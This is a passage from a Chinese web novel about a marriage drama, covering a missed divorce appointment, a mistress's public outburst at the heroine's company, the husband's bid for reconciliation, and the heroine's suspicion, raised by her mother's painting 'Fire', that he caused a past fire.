他们八点准时来到民政局,没想到等了10分钟,还没见到纪安澜的身影,宋妘妘急不可耐,逼迫江容川给纪安澜打电话。
看着熄灭的手机屏幕,江容川声音沉沉:“她说暂时有事,来不了,一个小时左右才会来。”
“什么?”宋妘妘瞪圆了眼睛,脸色骤沉:“在这个节骨眼上说有事?不会是后悔了,不想离婚了吧?”
她一急,把心里话说出来了。
江容川一听,眼底闪过一抹忽明忽灭的光,眼睛里多了一抹希冀。
“再给她打电话!让她赶紧来!我们时间可是很宝贵的,总不能让我们在这空等吧?”
宋妘妘拔高了音量,眼睛里充满了不满。
“她或许是真的有事,离婚很快,不急于在今天。”
她正愁没有理由不领离婚证,既然纪安澜不来,那他们就直接回去。
想到这里,江容川打算去地下车库开车。
宋妘妘立刻走过去拦住了他。
“你干什么去?”
浓眉紧皱,江容川抬眸,冷冷地瞥着她:“你也说了,我们时间宝贵,她若是不来,我们总不能在这里空等。”
他的话轻飘飘的,不带有一丝温度。可宋妘妘眼中闪过一抹狐疑,一脸探究地看着他。
“你什么意思?你该不会也不想离婚吧?你可是答应过我,要跟我结婚的!”
看着江容川那副满不在乎的模样,宋妘妘怒不可遏,拔高了音量,眼底多了一抹不忿。
“答应你的事,我自然会办到。”江容川浓眉紧皱,眼底划过一抹不耐。
“既然这样,那你就继续给她打电话!我就不相信,还有什么事情比离婚还要重要?”
在宋妘妘的强压之下,江容川无奈,只好继续给纪安澜打电话,可一连打了十几个电话,那边都显示无人接听。
宋妘妘声音尖锐,气得双肩微颤:“纪安澜就是不想离婚!她居然敢放我们鸽子?你们关系都已经这样了,还想霸着江太太的位置?”
“不行!你再给她打电话!就算是催也要把她给我催过来!”
自从江容川答应跟她结婚,她每天都在期待今天。
一想到纪安澜耍她,她就气不打一处来,恨不得现在就冲过去打她一巴掌。
江太太的位置,谁也不能跟她抢!
看着她情绪激动,江容川只觉内心一阵烦躁,冷冷地站在原地,心情却轻松了些。
目光看向不远处,那里没有纪安澜的身影。
难道真的像宋妘妘所说,纪安澜后悔离婚了?
想到这里,他眼底多了一抹期待。
果然,纪安澜还是爱他的。
他的眼底多了一抹几不可察的微弱希望,像一个小小的种子在心里生根发芽,悄然滋长。
如果纪安澜后悔,那他们还有机会重新开始。
宋妘妘的目光不经意地落在江容川的脸上,看着他的表情,眼底划过一抹嫉妒,心像烈火焚烧一样。
垂在身体两侧的手用力攥紧,指甲镶进肉里,脸色越发狰狞。
她想跟江容川大吵一架,可她知道现在不是时机。
在还没有结婚之前,一切还没有尘埃落定,她不能跟江容川翻脸。
宋妘妘隐下心里的怒火,努力让自己平静下来。
可内心翻涌着愤怒,大骂着纪安澜。
**!事到如今,居然还想勾引江容川!
“我公司还有事,就先走了。”
江容川随便编了个借口,转身离去。
看着他急切的背影,甚至还带着一丝欢快的步伐,宋妘妘眼中的怒火快要溢出。
咬紧下唇,她的眼睛里充满了不甘心。
“纪安澜,我一定不会让你如愿的!任何
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人都不能阻挡我成为江太太!”
宋妘妘满眼愤恨,打了个车前往纪氏。
与此同时,纪安澜微笑着从贵宾接待室走出,友好地向神安集团的副总尼克伸出手。
“很高兴跟神安集团合作,期待我们后续共同发展进步。”
尼克也友好地伸出手,眼睛里满是欣赏:“我也是,很高兴跟纪总合作。”
神安集团打算投资8亿,两人刚刚签订了一份投资合作协议,只要有了这份协议,纪氏就能立刻站稳脚跟,打破所有的谣言。
纪安澜送尼克下楼,突然听见一声尖利的声音。
“纪安澜,你这个不要脸的**,赶紧给我滚出来!”
纪安澜笑容一僵,循声望去。
只见宋妘妘挺着孕肚,疾言厉色,看见纪安澜立刻冲了过来,指着纪安澜的鼻子怒骂:“不是说好的今天领离婚证吗?为什么不去民政局,你估计拖着不离婚,是还想勾引容川吧?真是不要脸!”
不少员工凑过来看热闹。
宋妘妘怒气冲冲,环顾四周,叫嚷着:“我今天就要让人看看你有多不要脸!”
“大家快来看啊,纪安澜在明知道我怀孕的情况下,还霸着我男朋友不放手!”
她刻意抬手,亮出手指上明晃晃的粉色钻戒,“就因为她,我怀着身孕也不能跟我男朋友在一起!”
能把小三上位,说得如此理所应当,是让她没想到的。
说到厚脸皮,她还真不及她万分之一。
一旁的尼克,面色一沉,目光看向纪安澜,眼睛里充满了探究。
虽然他什么话也没说,但很明显眼中染上了一层不悦。
纪安澜眉头微蹙,眼见着宋妘妘越发肆无忌惮地吵嚷。
她一个箭步冲上去,一把攥住了她的手腕。
宋妘妘没反应过来,吃痛地呲牙咧嘴。
纪安澜面色冷厉,清冷的眸子仿佛淬了冰,冷冷地盯着歇斯底里的宋妘妘,沉声道:“这里是纪氏,不是让你撒野的地方。”
“现在知道丢人了?”宋妘妘冷笑了一声,“说好的去民政局离婚,你怎么说话不算话?你这个小三!”
第74章 谁才是小三?
小三?
听见这两个字从宋妘妘的嘴里说出来,纪安澜好像听到了一个天大的笑话。
她忍俊不禁,冷眼瞥着她:“我是江容川明媒正娶的江太太,到今天还没有拿离婚证,到底是谁婚内出轨?谁才是小三?你我心知肚明。”
凛冽的眼眸,迸射出一丝凉意。
宋妘妘本就心虚,盯着那双眸子,下意识地缩了缩脖子,被堵得无话可说。
宋妘妘气得浑身颤抖,脸色发白,可却说不出一个字。
围观的人议论纷纷,尼克的脸色越发阴沉。
在回国之前,那就听助手提起,面前的纪总似乎正在要离婚,几日,更是闹得沸沸扬扬。
本以为事情解决了,没想到竟然有孕妇冲到纪氏来撒泼。
他还真是开了眼界。
眉头微蹙,尼克叹了口气,面色阴沉地朝前走。
纪安澜注意到他脸色的变化,赶紧追了过去。
“尼克先生,今天的事情实在抱歉。”
尼克脚步微顿,停下来,目光落在了纪安澜脸上,眸中夹杂着一丝不悦。
“纪总,很欣赏你,正因为如此,才会没有预约就来了,但你也知道,我们沈安集团从来都不跟声名狼藉的企业合作。”
这是他的底线。
纪安澜面色微白,找不出反驳的话来。
她也没想到宋妘妘居然会来**。
尼克扫了一眼后面的宋妘妘,眼底满是嫌恶。
“一个孕妇大闹纪氏,此事若是传出去,怕是会成为全城的笑柄。”
顿了一下,尼克沉声道:“希望你能处理好私人问题,不要影响到我们之间的合作。”
目光沉沉地盯着纪安澜,他的声音冷厉:“而至于那笔投资款,要等到事情平息,不会对纪氏声誉造成负面影响,才能到账。”
闻言,纪安澜脸色微变,不过这种条件她能接受。
毕竟今日之事,因她而起,她有义务解决麻烦。
“好!我一定不会让事情发酵,影响我们之间的合作。”
有了纪安澜的保证,尼克叹了口气,抬脚朝前面走。
可就在这时,身后一个黑影迅速冲了过来,跑到了尼克面前,拦住了他。
“你要干什么去?”尖利的声音响彻了整个大厅。
尼克皱着眉头,不解地看着宋妘妘。
他们可不相识,宋妘妘拦着他做什么?
尼克还没有开口,宋妘妘指着他大声嚷嚷:“你就是纪安澜的情夫吧?”
上下地打量了一番他,宋妘妘嘲讽道:“没想到纪安澜,你还跟外国人搞到了一起,怪不得能有钱盘活纪氏,原来全都是靠这些野男人,真是个水性杨花的**!”
所有人的目光齐刷刷地射了过去。
尼克脸色骤变,瞬间变得铁青。
他还是第一次被人如此污蔑。
额上青筋暴起,尼克冷声道:“你不要胡说八道!我跟纪总今天第一次见面!”
宋妘妘冷笑一声:“谎话谁都可以随便说,既然第一次见面,那为什么要逃跑?那不是心虚吗?”
逃跑?
他确实想要逃离这个是非之地,可不是因为心虚。
尼克面色阴沉,想开口反驳,宋妘妘却冷笑着继续怼他:“看你长得一副人模狗样的,怎么会喜欢这一种被人玩烂的破鞋?”
啪——
话音刚落,清脆的巴掌声落在了她的脸上。
火辣辣的感觉,让宋妘妘猛然地掀起眼眸,不可置信地瞪着纪安澜。
“你敢打我?”
“满口污言秽语!我不打你打谁?我早就警告过你了,不要在纪氏撒野,你还蹬鼻子上脸。”
冷冽的声音仿佛淬了冰,带着不容人质疑的威严。
宋妘妘怒火滔天,冲过去就要打纪安澜。
可手腕却被纪安澜攥住了,纪安澜垂眸,冷冰冰地盯着她:“还想挨打?”
语气中倒是多了一抹期待。
到嘴边骂人的话被宋妘妘生生地咽了回去。
她确信,如果她敢骂纪安澜,纪安澜会毫不留情地打她一顿。
如今正在纪安澜的地盘上,她孤身一人,只会吃亏。
宋妘妘只好选择闭上嘴巴,只是脸色越发难看,脏话憋在心里实在是难受。
看着宋妘妘怒火中
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烧、气急败坏的模样,纪安澜冷声道:“把这个女人扔出去,以后谁也不许把她放进来!”
两个保安迅速冲了过来,一左一右架着宋妘妘往门口走。
脱离了纪安澜的掌控,宋妘妘拼命挣扎,嘴里怒骂:“让人把我赶出去,是不是心虚了?你几次三番地害我的孩子也就罢了,今天竟然演都不演了,当着众人的面对我下手,不就是害怕我抢你江太太的位置吗?”
她的声音越来越大,继续肆无忌惮地造谣:“你私生活混乱,跟各种男人搞在一起,才会让容川厌弃了你,他想跟你离婚,但你偏偏拖着不离,你就是想要霸占江太太的位置,你配吗?”
吞咽了一下口水,宋妘妘继续扯着嗓子怒骂:“你就是个破鞋!眼瞎的男人才会看上你!我跟容川是真爱,识相的话,赶紧去**,否则我就赖在你们纪氏门口不走了,让所有人看到你这个毒妇的真面目!”
她动得越来越厉害,两个保安却不敢放手,听说她是孕妇后,更是面露难色。
她的声音响彻了整个大厅,尼克的脸色越发难看,本就被气得不轻,如今更是面色阴郁得仿佛随时都能滴下水来。
眼见着事情难以收拾,若是任由宋妘妘继续闹下去,不仅会影响尼克对纪氏的印象,甚至可能会取消合作。
纪安澜神情一凛,压制着心里的怒火,努力让自己平静下来,迅速地拨通了一个号码。
沈南姗接到电话时,愣了一瞬,偏巧她正在纪氏周围不远处,5分钟后,直接赶到了纪氏。
听着宋妘妘那不堪入耳的怒骂声,沈南姗紧皱着眉,一脸嫌恶:“你确定让我把这泼妇带回去?这也太丢人了吧?”
纪安澜眉头紧蹙,不悦地看了她一眼。
沈南姗讪笑了一声,打电话叫来了两个保镖,把宋妘妘生生地拖拽出了纪氏。
她回头,眉峰微挑,看了一眼纪安澜:“你可是欠我一个人情。”
纪安澜微微颔首,沈南姗勾唇,瞟了一眼旁边尼克那阴沉得仿佛能吞人的表情,笑得邪魅:“人我带回去了,麻烦你自己解决。”
第75章 我这辈子都不会跟你离婚
送沈南姗离开,纪安澜的目光转向尼克。
只见他脸色铁青,胸口剧烈起伏,眉头紧锁,看样子被气得不轻。
纪安澜上前,语气诚恳道歉:“对不起,尼克先生,让你见笑了,今天的事,实属意外,保证以后再也不会发生!”
尼克目光落在纪安澜身上,脸色难看至极,语气冷了几分。
“纪总,这是第一次,我也希望是最后一次,我不想合作方的私生活掺杂在合作中。”
叹了口气,尼克沉声道:“说实话,这一次我很失望。”
这一点,纪安澜当然能够看得出来,此刻尼克脸色阴沉得仿佛随时都能滴下水来。
纪安澜垂眸,思忖了一番,再次掀起眼眸时,目光坚定,心中没有一点慌乱和退缩。
她声音清亮,一字一句:“这次确实是我做得不周,表示我的诚意,我可以再让出3个点的利益。”
话音刚落,让人取来了刚才的合同书,并让人补充了附加条款。
尼克瞪大眼睛,不可置信地看着纪安澜。
“你真愿意这么做?”
纪安澜将补充一条款递给他。
“尼克先生,你可以看一下。”
尼克把条款接过来看了一眼,瞳孔骤缩,没想到纪安澜真的让出了3个点的利益。
可不是个小数目。
要是换作旁人,怕是不会轻易让步。
纪安澜为了表示出诚意,竟然肯如此让步,这倒是让他觉得纪安澜心胸宽广,一些男商人要强得多。
“纪总,你这……不会后悔?”
狭长的眼眸多了一抹怀疑。
纪安澜勾了勾唇,声调平静,带着不容置疑的决心:“你既然相信我,亲自来到纪氏,我自然要拿出我的诚意,我会把问题处理干净,绝对不会给纪氏和安氏集团带来任何不好的影响。”
声音清亮,一字一句,字字铿锵有力。
尼克的目光落在纪安澜脸上,眼中充满了赞赏。
嫩白的小脸满是坚定,眼神诚恳,黑白分明的眸子里透着一股果决。
尼克愣了一瞬,旋即笑了,眼底的怒火褪去,取而代之的是欣赏和欣喜。
他友好地伸出手,微笑着说:“纪总,真的很高兴跟你合作。”
纪安澜反握住他的手,微微一笑:“我也是,尼克先生,希望我们合作愉快。”
“合作愉快!”
两人相视一笑,又聊了些合作上的细节问题,尼克离开了纪氏。
看着他的背影逐渐消失在视野里,纪安澜那紧绷的背脊才微微弯了些,一瞬间仿佛抽掉了所有的力气,眼底多了几分疲惫。
闹剧终于结束,好在尼克并没有生气撤销投资,否则还真的是竹篮打水一场空。
眉头微皱,想到宋妘妘那张狰狞的面庞,纪安澜心里浮起一丝烦躁。
宋妘妘才是小三,却口口声声说她是小三!
都是江容川给她的底气。
他们两个真是太配了!
要不是今天有要事耽搁,纪安澜恨不得现在就扎着翅膀去民政局把离婚证领了。
这时,手机铃声打乱了她的思绪。
低头一看来电显示,纪安澜眼中闪过一抹不悦。
居然是江容川打来的。
难道是催她去领离婚证的?
反正现在闲来无事,正好把这事给办了。
想到这里,纪安澜接听,声音清冷:“喂?我在公司,事情处理完了,现在就可以过去。”
“你来暮色咖啡厅吧,我在这里等你。”
江容川根本就不给纪安澜拒绝的机会,直接挂断了电话。
看着熄灭的手机屏幕,纪安澜紧皱着眉头,眼底的不悦越来越甚。
不是约好了在民政局见面吗?怎么又去暮色咖啡厅了?
虽然心里不满,不过为了能够成功拿到离婚证,纪安澜无奈下只好赶去了暮色咖啡厅。
靠窗的位置上,江容川焦急地坐着,时不时地扭头看向窗外,窗户上映着他那棱角分明的侧脸。
纪安澜深吸了口气,快步走了过去。
站在桌子前,一板一眼问:“有什么事非要在这里说?民政局不能说吗?”
纪安澜声音冷冽,想到江容川纵着宋妘妘去公司**,心里窝着一团火:“如果你要是来替宋妘妘撑腰的,我劝你不要多管闲
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事。”
“替她撑腰?”江容川紧皱着眉头,眼中闪过一抹不解。
“你难道不是因为我今天打了她,才把我叫到这里来的?”纪安澜冷哼了一声。
“你打了她?”江容川愣了一瞬,眼中闪过一抹惊喜。
看着江容川的反应,纪安澜眉头皱得更深了。
他该不会是傻了吧?
他这反应并不像是装的,难道他还不知情?
江容川的目光落在纪安澜的脸上,紧皱着眉头,一脸生人勿近的表情,还跟以前一样。
可听见纪安澜的那番话,江容川的心里面涌起了一丝希望,再加上今日纪安澜没有出现在民政局,他更加确定纪安澜是爱他的。
猛地站起身,江容川一把握住了纪安澜的手:“我就知道你还是爱我的,你不愿意跟我离婚,对不对?只要你不愿意,我们就不离婚!”
仿佛一个晴天霹雳,从头劈到了脚。
纪安澜瞪大眼睛,不可置信地盯着他。
“我知道你行事卑劣,但人怎么可以不要脸到这种地步?刚说的去领离婚证,现在就说话不算话了?”
她不由得拔高了音量,眼底是毫不隐藏的嫌恶。
“那时候我们都在气头上,说出来的话肯定不算数啊!”
他紧握着纪安澜的手,目光灼灼,眼底满是对未来的希冀。
“知道你不想跟我离婚,所以才会拖延时间,就算是你打了宋妘妘,也无所谓,她本就该打,只是怕脏了你的手,以后这种事交给我来做。”
人在无语的时候,真的会想笑。
听了这些话,纪安澜感觉三观都在崩塌。
宋妘妘现在怀了江容川的孩子,他不仅丝毫不珍惜,甚至还说出这样一番话。
他还是人吗?
这是他爱了13年的人?
江容川简直就是个**!
“澜澜,今天早上在民政局,我已经想明白了,我不能没有你!我这辈子都不会跟你离婚,我们好好在一起,好吗?”
说着,更加过分地想要伸手拥抱纪安澜。
啪——
纪安澜抬起手,毫不犹豫地扇了他一巴掌。
第76章 我不要跟你离婚!
江容川的头偏向一旁,眉头微蹙,扭头,还想说些什么?
啪的一声。
纪安澜又甩了他一巴掌。
她的力道极重,仿佛在宣泄着,江容川嘴里泛起一股腥甜。
掀起眼眸,江容川一脸错愕地看着她。
他还没有开口,纪安澜声音清冷:“你真让我觉得恶心!”
眼底的嫌恶让江容川心里很不是滋味。**哪句话说错了,明明他都是想着纪安澜的,为什么纪安澜还是生气了?
从前的她,温柔又善解人意,从未对他说过一句重话,如今对他非打即骂,简直就像是变了一个人。
看着她眼神中的冰凉,江容川沉声道:“澜澜,要是这样能让你解气的话,你可以随便打。”
“你真以为我不敢吗?”纪安澜拔高了音量。
刚准备抬起手,发现指尖发麻,纪安澜手指僵在半空,眼神冷得像是寒潭。
“宋妘妘仗着她怀孕,以为我不敢打她,但她敢在纪氏撒野,那一巴掌,她也得给我受着!”
话音刚落,目光恶狠狠地瞪了一眼江容川,声音冷得仿佛淬了冰。
“她是孕妇,我打不得,那你就替她挨着!”
“她到底做了什么让你这么生气?”江容川紧皱着眉头,一脸不解。
自从民政局分开后,他就没管过宋妘妘,想到他竟然去纪氏找茬,看纪安澜被气成这样,但是又给他惹了麻烦。
“做了什么?”纪安澜冷笑一声:“那你得回头问她了,我警告你,管好你的人,别让她在我面前撒野,否则,就算她是个孕妇,我也照打不误!”
“什么时候去领离婚证?”纪安澜失去了耐心。
“我们能不能不要离婚?”江容川的语气软了几分,央求着。
“江容川,能不能醒醒?”纪安澜冷冰冰地瞪着他。
事情都已经闹到这种地步,他们只有离婚这一步了。
“我不要跟你离婚!”江容川语气斩钉截铁,漆黑的眸泛着坚定的光,定定地看着纪安澜。
这眼神似乎与印象中的他一般无二。
可是这句话却是不合时宜。
她的心早就已经在他的漠视和出轨下**。
如今的他,看着那张认真的脸,心里泛不起半丝涟漪。
“你是昏了头了,既然这样,那就等你清醒了,我们就去领结婚证。”
话音刚落,纪安澜转身就走。
江容川心里着急,快步走过去,拉住了她的手腕。
“放开我!”
纪安澜转头,眼底一片冰冷,眼中的嫌恶快要溢出。
盯着那双黑白分明的眼眸,江容川心里五味杂陈。
他还以为纪安澜后悔离婚,可看着纪安澜这样,似乎真的很恨他。
“要么现在去领离婚证,要么就放开我!”
纪安澜的眼睛里充满了决绝与冷漠。
脸上火辣辣的疼痛更在提醒他,纪安澜不可能轻易挽回。
看着那双清亮的眸子,江容川心里一慌,大脑飞速运转,快速开口:“我其实是想带你去看你母亲的画!”
听到这句话,纪安澜眼前一亮。
看着纪安澜感兴趣,江容川面上一喜,立刻说道:“知道你一直心系你母亲的画,之所以把你约到这里,就是想让你亲自去看看。”
顿了一下,江容川轻声道:“还有一幅画,我想你肯定很喜欢,我决定把它送给你。”
“是还给我。”纪安澜面色冷峻地纠正他。
“是,还给你。”江容川随声附和。
他试探性地问:“愿意跟我一起去吗?那幅画就在不远处的一个工作室里。”
此处离之前的画室有一定的距离,江容川为了不让她发现这些画,真是煞费心机。
他若是真的想把画还给她,早就给了。
如今说出这样一番话来,倒像是别有所图。
不过,纪安澜一心惦记着母亲的画,只想亲自看一眼,不管江容川是否说话算话,她都要去看一眼。
跟着江容川上了车,纪安澜坐在后座,目光看向窗外**的风景。
江容川透过后视镜看着纪安澜嫩白的小脸,喉结微动,迟疑了许久才开口:“我真不知道宋妘妘做了什么,我向你道歉,回去我会好好说她!”
“管好她就行。”纪安澜冷冷地吐出几个字。
“我知道错了,对不起
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。”
江容川又道了声歉。
这句道歉,纪安澜等了许久,可现在已经晚了。
早干什么去了?
当初伤害她的时候,选择漠视她的痛苦,带着小三登堂**,全家欺负她一个。
如今,为了拿到她手里的资源,江容川真是无所不用其极。
纪安澜早就看透了他到底是个什么样的人,不管江容川说什么,纪安澜只觉得像是在听笑话。
她选择了无视。
江容川却不厌其烦地说着:“我们结婚五年,我知道你对我的好,我只是犯了所有男人都会犯的错,但是我向你保证,以后绝对不会再犯了!”
拿什么保证?
所有男人都会犯的错,到底是什么错?
纪安澜只觉得可笑。
江容川压根就没有意识到他的错误在哪。
只是想要挽回她,准确地来说是挽回她手里的资源。
如果他还是那个唯唯诺诺任人宰割的她,江容川压根就不会多看她一眼。
在他心里,利益永远高于一切。
八年暗恋,五年婚姻,于他而言,什么都不是。
想到曾经经历的种种,纪安澜的心仿佛被什么攫住,疼得厉害。
眉头微蹙,纪安澜努力地平复着心里的情绪。
那细微的表情**容川捕捉到,眼中升起一抹希冀,
她并非无动于衷,说不定看到那些画,纪安澜就能回心转意。
想到这里,江容川一踩油门,车子很快地来到了工作室。
纪安澜打开车门,迫不及待地站在门口,江容川将门打开,纪安澜踏进了房门,灯光亮起的那一刻,呼吸瞬间停滞。
偌大的一个工作室里,墙上摆满了母亲的画,熟悉的笔触,温柔的画风,每一副仿佛都承载着回忆。
纪安澜快步走过去,下意识地伸手触摸,指尖传来的触感,让她鼻子一酸,眼眶微红,险些落下泪来。
5年过去了,母亲的这些画终于被她看见了。
纪安澜一幅幅地看过去,心里五味杂陈,直到看到最后一幅画时,脚步猛地顿住了,她脑海里浮现出母亲曾经的画,眸中闪过一抹异样的光。
第77章 《火》
“画很重要!护好它们!”
母亲曾紧握着她的手,眼神坚定地说。
纪安澜确定,那时的母亲是清醒的。
她一直强调,难道这些画另有玄机?
视线不由得落在面前那幅画上,这幅画名为《火》,是母亲的封笔之作。
视线紧盯着那幅画,纪安澜瞳孔骤缩,她发现,画中,火光映照的身影,竟然出奇地跟江容川的身影重合!
纪安澜回眸,视线定定地落在了江容川身上。
两个人的身形竟然有八分相似。
十几年的相处,纪安澜对江容川再熟悉不过,不可能认不出。
母亲为什么会在这幅画里画上江容川?
心里涌起了惊涛骇浪,眼中泛起一股难言的复杂情绪。
难道当年的火灾……
手心浸汗,纪安澜背脊发寒,愣怔地盯着江容川。
她突然发觉内心笼罩着一股强大的恐惧感,看着他一步步走近,第一次发觉,她竟然从未真正地看清过眼前的男人。
迎着纪安澜震惊的目光,江容川走到她面前,以为她回心转意,上前就要去拉她的手。
冰凉的触感让纪安澜回过神来,迅速甩开他的手,向后退了两步,收敛起脸上的表情,眼底爬上一抹冷意。
“澜澜,这些就是我的诚意,我真的知道错了,在民政局门口,我已经看清了内心,我无法离开你,不想跟你离婚!在我心里真的很重要。”
火热的眸子里充满了真诚,眼睛一眨不眨地盯着纪安澜,那双好看的桃花眼,说起话来时泛着一丝迷离的意味,若是心智不坚,真的很有可能会被他蛊惑。
可如今的纪安澜清醒得很,听到这些话,只觉得像是听到了巨大的笑话。
掀起眼眸,眼神古井无波,纪安澜平静地盯着江容川:“是吗?那宋妘妘怎么办?”
江容川欲向前靠近纪安澜,听到这句话,脚步一滞,脸上露出为难的表情。
“她……”
纪安澜冷哼一声:“你还是先处理掉宋妘妘再说吧。”
“现在还不能处理她,我的公司和她肚子里……”
话还没有说完,纪安澜一个眼刀子射了过去。
江容川意识到说错话,赶紧辩解:“相信我,过了这段时间,我肯定跟她划清界限!”
“相信你?”纪安澜唇齿间溢出一丝冷笑:“这十几年我还不够相信你吗?觉得我还是那个傻瓜吗?”
做了十几年的傻瓜,纪安澜不想再被骗了。
“这些画,我就收下了。”
纪安澜语气平静,没有任何情绪,只是在那股平静之下,隐藏着暗潮汹涌。
这些画本就是属于纪家的,**容川霸占良久,还真当成自己的东西来送给她了。
以为她会感动,真是可笑!
拿回属于自己的东西,理所应当。
“我会找搬家公司的人把画搬走,两个小时内不要上锁。”
下这句话,纪安澜抬脚就打算离开。
身后的江容川心口一慌,大步跨上前,一把握住了纪安澜的手腕。
“澜澜,不要走!”
受够了江容川的死缠烂打,纪安澜声音冷到极致。
“放开我!”
可手上的力道加重,江容川不准备放手。
纪安澜回眸,眼底是一片冰封的寒意。
盯着那双黑白分明的眼眸,江容川心里越发地慌张,仿佛一放手就会彻底地失去她。
想到横在他们之间的阻碍是宋妘妘,江容川赶紧说:“我答应你,过段时间,我一定会处理掉宋妘妘,让她彻底地消失在我们的世界里,我们重新开始好不好?”
处理?
这个词倒是让纪安澜产生了一丝好奇。
“你要怎么处理她?”
纪安澜唇角溢出一丝冷笑:“把她藏起来?还是直接杀了?”
不管怎么做,都没办法解决他们之间的矛盾,他们早就回不到从前了,只是江容川还没有意识到这一点罢了。
或许他已经意识到了,就是放不下她手里的资源而已。
纪安澜的眼神越发阴冷,用力甩开了他的手,目光冷厉如刃,像是一把刀刺向了江容川。
“管好你的女人,要是她再来我面前撒野,就算是个孕妇,我也照打不误。”
冰冷的目光瞥了一眼江容川,眼底的不屑快要溢出,纪安澜压制着心里的怒意,手指紧紧蜷缩,转身,毫不留
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情地离开。
听见身后的脚步声,欲要跟上来。纪安澜声音冷得像淬了冰,一字一句掷地有声。
“在你没有解决宋妘妘之前,不要来烦我。”
以她对江容川的了解,他绝对不会动宋妘妘,爱与不爱都另说,江容川需要宋妘妘肚子里的孩子,在江家站稳脚跟。
只要有宋妘妘在,她永远都有拒绝江容川的理由。
江容川看着纪安澜远去的背影,喉咙发紧,张了张嘴,却叫不出纪安澜的名字。
决绝的背影,很快地消失在视线里,心口仿佛被掏空了一般,一时间空落落的。
他没办法答应纪安澜,立刻处理宋妘妘。
正如纪安澜所想,江容川很需要宋妘妘。
不仅是因为宋妘妘跟周家的关系,更因为宋妘妘肚子里的孩子。
一想到她肚子里的孩子,江容川眸色幽暗,眼底翻涌着复杂的情绪。
冷冽的下颌角紧绷着,他眼尾泛起一抹阴冷的光。
定定地看着纪安澜消失的方向,江容川声音冷冽泛着一丝喑哑:“澜澜,我迟早会让你回到我的身边!至于宋妘妘……”
他眼底越发冷冽,仿佛凝结了冰凌。
这时,装修公司的人赶过来,陆陆续续地把画搬上了车。
江容川目光扫过那些画,眼底毫无波澜。
一个半小时后,那些画送到了半山别墅。
纪安澜眼底满是欣喜,这些画历时5年,终于又回到了他的手里。
纪安澜找到了那幅《火》,画面上的火光仿佛历史重现般映照在眼前,煎熬着她的心。
这幅画到底是怎么回事?
是母亲有意为之想要告诉他什么?还是巧合画得像江容川?
将那幅画从地上拿起,纪安澜爱惜地抱在怀中,她的眼神逐渐冷静。
能告诉她答案的人只有一个,那就是她的母亲。
纪安澜抱起那幅画,迅速打车去了疗养院。
隔着门,透过小窗朝着里面看,发现母亲眼神空洞,枯坐在病床上。
纪安澜走进门,林慧敏听见声音,掀起眼眸,目光落在了那幅画上,顿时瞳孔骤缩,像是受到了极大的惊吓一般,弹了起来。
第78章 十几年的错误
手指颤抖地指着纪安澜手里的画。
林慧敏原本空洞的眼睛瞬间掀起了惊涛骇浪,仿佛见鬼了一般,嘴里发出一声怪叫,脸色瞬间血色尽失。
“不要过来!毁了它!毁了他!”
她的声音尖厉无比,因恐惧,音调都变了。
她抱着头,一脸惊恐,嘴里一直大喊着:“魔鬼!杀了魔鬼!不要过来!”
凄厉的叫喊声引起了护工的注意,她立刻冲过来按住了林慧敏。
可林慧敏力气极大,一把将她推开,突然,目光再次紧盯着纪安澜手里的那幅画上。
她一个箭步冲过来,要把画抢过去。
力气大得惊人,纪安澜险些整个人被她拽过去。
好在护工及时按住了林慧敏,可她的手却紧紧地握着画框,不肯撒手。
“毁掉它!毁掉!毁掉它!”
仿佛自言自语一般,林慧敏嘴里念念有词。
看着母亲一脸癫狂的模样,纪安澜的心仿佛被重锤狠狠砸了一下。
“妈,为什么要把画毁了?这可是你的心血。”
母亲为什么会对这幅画有那么大的反应?纪安澜心里涌出一丝怀疑。
难道这幅画里真的藏着什么?
视线不由得看着画中的那片火红,深深地印刻在了眼中。
耳边是林慧敏的尖叫声,手指胡乱地挥舞着,尽管被护工强拉着拽到了病床上,她依旧嘶吼着:“毁了它!火!都是火!毁了它!”
护工眼见着控制不住林慧敏,掏出镇定剂,向纪安澜投去了求救的目光,纪安澜眼中闪过一抹不忍,但还是点了点头。
护工立刻喊来了护士,给林慧敏打了一针镇定剂。
片刻后,林慧敏情绪逐渐稳定,只是眼底的恐惧却浓得化不开,嘴里还在喃喃着:“毁了它……”
看着病床上被折磨得不像样的母亲,纪安澜只觉手脚冰凉,心里产生了一个大胆的念头,浑身如坠冰窖。
这些年,母亲虽然精神恍惚,但似乎从不畏惧什么,只有看到这幅画才会有如此大的反应。
那是一种本能的恐惧。
她在害怕什么?
害怕这幅画,还是画中的人?
纪安澜捧起那幅画,仔细地端详着,目光紧盯着那画中的身影。
像,实在太像了。
那画中画的不就是江容川吗?
难道江容川跟当年的火灾有关系?
之前纪安澜也不是没想过当年的火灾是人为,只是没有任何证据,可如今看着林慧敏的反应,纪安澜产生了这个念头。
手指紧捏着画框,因用力骨节泛白,纪安澜眼神复杂地看着那画中的人影,眼尾因憎恨逐渐泛红。
江容川就是凶手!
心里有一个声音异常坚定地告诉她。
那她这十几年的感情算什么?
那一瞬间,仿佛心里的某根弦断了。
掀起眼眸,目光落在了病床上的林慧敏身上,纪安澜步伐缓慢,脚上像是灌了铅一般,缓缓地走向病床。
在她面前站定,纪安澜低头问:“妈,你是不是想告诉我凶手是谁?”
“是江容川吗?”迟疑了一秒,纪安澜还是问出了口。
母亲躺在病床上,微眯着眼睛,眼神一片迷离,药效起来了,她现在应该听不见外界的声音。
很快便响起了母亲均匀的呼吸声。
纪安澜有些无力地站在原地,心底仿佛被一股寒意包裹,逐渐放大,扩散至四肢百骸。
心里莫名地产生了一种恐惧感。
脑海里回响着江容川那张脸,她第一次觉得害怕。
八年暗恋,五年婚姻,她陪着那个男人十三年,从青涩到沉稳,一步步走来,她以为她很了解江容川,以为他的卑劣全都看在眼中。
可事实证明,她错了。
十几年来,她从未看清过身边的男人。
她不知道那双诚挚的眼眸下,到底隐藏着怎样一个狰狞的面孔。
想到这十几年的付出,看着那画中与江容川重合的身影,巨大的火焰仿佛要将她整个人吞噬进去。
纪安澜咬紧下唇,太过用力,嘴里涌起一股腥甜,指尖镶进肉里,却麻木地感觉不到一丝疼痛。
她只用1秒,就接受了江容川是凶手的这个念头。
江容川既然能十几年如
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一日地下药害她不能怀上孩子,当年**放火,也不是没可能。
这些猜测犹如一条毒蛇,紧紧地缠绕着她的心脏。
手指紧握成拳,纪安澜浑身颤抖,后背发寒。
听着母亲均匀的呼吸声,浮躁的心在一点点地安定。
努力地平复着心绪,纪安澜闭上眼睛,再次掀起眼眸时,眼底已经一片清冷。
掏出手机,拨通了叶哲的电话。
“帮我查件事。”一字一句,声音清晰,掷地有声。
“什么事?”那头传来了叶哲疑惑的嗓音。
